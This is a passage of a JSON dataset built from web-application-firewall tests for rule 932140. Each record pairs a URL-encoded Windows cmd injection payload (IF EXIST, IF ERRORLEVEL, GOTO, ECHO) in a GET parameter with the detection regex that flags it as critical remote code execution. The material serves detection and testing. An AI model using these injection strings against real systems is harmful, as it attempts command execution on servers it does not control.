"value": "foo=IF++++++++EXIST+C%3A%5Cpagefile.sys++CMD" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++EXIST+C%3A%5Cpagefile.sys++%28CMD%29+ELSE+%28CMD%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++NOT+EXIST+C%3A%5Cnonexistent+++CMD" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%2FI+NOT+EXIST+C%3A%5Cnonexistent+++echo+hey" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+++%2FI+++NOT+++EXIST+++C%3A%5Cnonexistent+++echo+hey" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++NOT+EXIST+C%3A%5Cnonexistent+++%28CMD%29+ELSE+%28CMD%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++NOT+EXIST+%28C%3A%5Cnonexistent%29+ECHO+pwnt" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++DEFINED+variable+++++++CMD" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++NOT+DEFINED+_example+++++++ECHO+Value+Missing" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++ERRORLEVEL+0+++++++++++CMD" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++NOT+ERRORLEVEL+0+++++++++++CMD" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++CMDEXTVERSION+1++++++++GOTO+start_process" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++2++++++++++++GEQ+15++++echo+%22bigger%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%222%22++++++++++GEQ+%2215%22++echo+%22bigger%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%25ERRORLEVEL%25+EQU+2+++++goto+sub_problem2" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%25ERRORLEVEL%25+NEQ+0+++++echo+test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%25ERRORLEVEL%25+LEQ+2+++++echo+test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%25ERRORLEVEL%25+GTR+2+++++echo+test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%25ERRORLEVEL%25+GEQ+2+++++echo+test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%25VARIABLE%25+++GTR+0+++++Echo+An+error+was+found" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%25VARIABLE%25+++LSS+0+++++Echo+An+error+was+found" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%25VARIABLE%25+++EQU+0+++++Echo+An+error+was+found" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%2FI+++++item1%3D%3Ditem2+++++++++++CMD" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%2FI+NOT+item1%3D%3Ditem2+++++++++++CMD" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%2FI+NOT+1%3D%3D2+++++++++++++++++++CMD" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%25_prefix%25%3D%3DSS6+++++++++GOTO+they_matched" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%5B%251%5D%3D%3D%5B%5D+++++++++++++++ECHO+Value+Missing" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%5B%251%5D+EQU+%5B%5D++++++++++++ECHO+Value+Missing" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++%282+GEQ+15%29+++++++++++++echo+%22bigger%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF++++++++red%3D%3Dred+++++++++++++++echo+test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: 